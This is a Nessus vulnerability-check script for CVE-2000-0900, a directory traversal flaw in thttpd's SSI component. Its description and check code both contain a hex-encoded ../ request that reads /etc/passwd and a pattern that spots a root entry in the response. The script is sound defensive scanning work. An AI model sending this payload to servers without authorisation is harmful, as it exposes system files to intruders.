#
# This script was written by Thomas Reinke <reinke@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#

if(description)
{
 script_id(10523);
 script_bugtraq_id(1737);
 script_version ("$Revision: 7591 $");
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"risk_factor", value:"High");
 script_cve_id("CVE-2000-0900");
 
 name = "thttpd ssi file retrieval";
 script_name(name);
 
 desc = "The remote HTTP server
allows an attacker to read arbitrary files
on the remote web server,  by employing a
weakness in an included ssi package, by
prepending pathnames with %2e%2e/ (hex-
encoded ../) to the pathname.
Example:
    GET /cgi-bin/ssi//%2e%2e/%2e%2e/etc/passwd 

will return /etc/passwd.

Solution: upgrade to version 2.20 of thttpd.

Risk factor : High";

 script_description(desc);
 
 summary = "thttpd ssi flaw";
 script_summary(summary);
 
 script_category(ACT_GATHER_INFO);
 
 
 script_copyright("This script is Copyright (C) 2000 Thomas Reinke");
 family = "Remote file access";
 script_family(family);
 script_dependencie("find_service.nes", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# The script code starts here
#

include("http_func.inc");
include("http_keepalive.inc");


port = get_http_port(default:80);


if(!get_port_state(port))exit(0);


foreach dir (cgi_dirs())
{
 buf = http_get(item:string(dir, "/ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"),
        port:port);
 rep = http_keepalive_send_recv(port:port, data:buf);
 if( rep == NULL ) exit(0);
 if(egrep(pattern:".*root:.*:0:[01]", string:rep)){
 	security_hole(port);
	exit(0);
	}
}
